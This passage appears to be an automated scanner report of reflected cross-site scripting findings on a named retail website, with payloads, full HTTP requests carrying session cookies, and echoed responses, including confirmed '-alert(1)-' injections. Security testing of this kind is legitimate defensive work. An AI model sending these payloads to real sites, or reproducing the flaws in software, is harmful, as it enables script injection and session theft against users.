HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 03:57:25 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Location: http://www.discountschoolsupply.com/Default.aspx Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123810
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="http://www.discountschoolsupply.com/Default.aspx">here</a>.</h2> </body></html>
<!DOCTYPE html PUBLIC "-//W3C//DT ...[SNIP]... vascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Error.aspx?404;http://www.discountschoolsupply.com:80/UserControlse6b9a';bdb708719f/warn.asp'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLo ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1b293'%3bf524b79990a was submitted in the REST URL parameter 2. This input was echoed as 1b293';f524b79990a in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /UserControls/warn.asp1b293'%3bf524b79990a HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 03:57:37 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123647
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... > function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Error.aspx?404;http://www.discountschoolsupply.com:80/UserControls/warn.asp1b293';f524b79990a'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixChr ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 48bdb'%3b6de145cff3e was submitted in the REST URL parameter 1. This input was echoed as 48bdb';6de145cff3e in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /WebResource.axd48bdb'%3b6de145cff3e HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 03:58:24 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123633
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... cript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Error.aspx?404;http://www.discountschoolsupply.com:80/WebResource.axd48bdb';6de145cff3e'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixChr ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3d22b'%3b11afd3a14bf was submitted in the REST URL parameter 1. This input was echoed as 3d22b';11afd3a14bf in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /community3d22b'%3b11afd3a14bf/angeles.aspx HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response (redirected)
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 03:59:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123583
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'error.aspx?aspxerrorpath=/community3d22b';11afd3a14bf/angeles.aspx'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { h ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7ceb4'%3b535a8437cae was submitted in the REST URL parameter 2. This input was echoed as 7ceb4';535a8437cae in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /community/angeles.aspx7ceb4'%3b535a8437cae HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:00:10 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123649
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]...
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixChr ...[SNIP]...
1.54. http://www.discountschoolsupply.com/community/angeles.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.discountschoolsupply.com
Path:
/community/angeles.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d5e0d'-alert(1)-'7ce95d463a3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /community/angeles.aspx?d5e0d'-alert(1)-'7ce95d463a3=1 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 03:59:52 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 146832
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'community/angeles.aspx?d5e0d'-alert(1)-'7ce95d463a3=1'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixC ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8c2d8'%3be5b2d918dea was submitted in the REST URL parameter 1. This input was echoed as 8c2d8';e5b2d918dea in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /community8c2d8'%3be5b2d918dea/resourcecenter.aspx HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response (redirected)
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 03:39:28 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123106
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'error.aspx?aspxerrorpath=/community8c2d8';e5b2d918dea/resourcecenter.aspx'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 207f9'%3b533564e6f43 was submitted in the REST URL parameter 2. This input was echoed as 207f9';533564e6f43 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /community/resourcecenter.aspx207f9'%3b533564e6f43 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:00:32 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 113461
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... ion pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Error.aspx?404;http://www.discountschoolsupply.com:80/community/resourcecenter.aspx207f9';533564e6f43'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixChr ...[SNIP]...
1.57. http://www.discountschoolsupply.com/community/resourcecenter.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.discountschoolsupply.com
Path:
/community/resourcecenter.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2b441'-alert(1)-'446a5ce1233 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /community/resourcecenter.aspx?2b441'-alert(1)-'446a5ce1233=1 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 04:00:05 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 151710
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Free Resources at Discount ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'community/resourcecenter.aspx?2b441'-alert(1)-'446a5ce1233=1'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixC ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dd001'%3bff5a733be8f was submitted in the REST URL parameter 1. This input was echoed as dd001';ff5a733be8f in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /communitydd001'%3bff5a733be8f/specialoffers.aspx HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response (redirected)
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:00:13 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123595
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'error.aspx?aspxerrorpath=/communitydd001';ff5a733be8f/specialoffers.aspx'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 21d9e'%3b6ba82f2e6ad was submitted in the REST URL parameter 2. This input was echoed as 21d9e';6ba82f2e6ad in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /community/specialoffers.aspx21d9e'%3b6ba82f2e6ad HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:00:32 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 113459
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixChr ...[SNIP]...
1.60. http://www.discountschoolsupply.com/community/specialoffers.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.discountschoolsupply.com
Path:
/community/specialoffers.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b22bb'-alert(1)-'86f1a1b4d56 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /community/specialoffers.aspx?b22bb'-alert(1)-'86f1a1b4d56=1 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 04:00:05 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 194794
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'community/specialoffers.aspx?b22bb'-alert(1)-'86f1a1b4d56=1'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixC ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 56a1f'%3bc2774b6b5cd was submitted in the REST URL parameter 1. This input was echoed as 56a1f';c2774b6b5cd in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /community56a1f'%3bc2774b6b5cd/welcome.aspx HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response (redirected)
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:00:17 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123583
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'error.aspx?aspxerrorpath=/community56a1f';c2774b6b5cd/welcome.aspx'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { h ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 12fa6'%3b547885d2878 was submitted in the REST URL parameter 2. This input was echoed as 12fa6';547885d2878 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
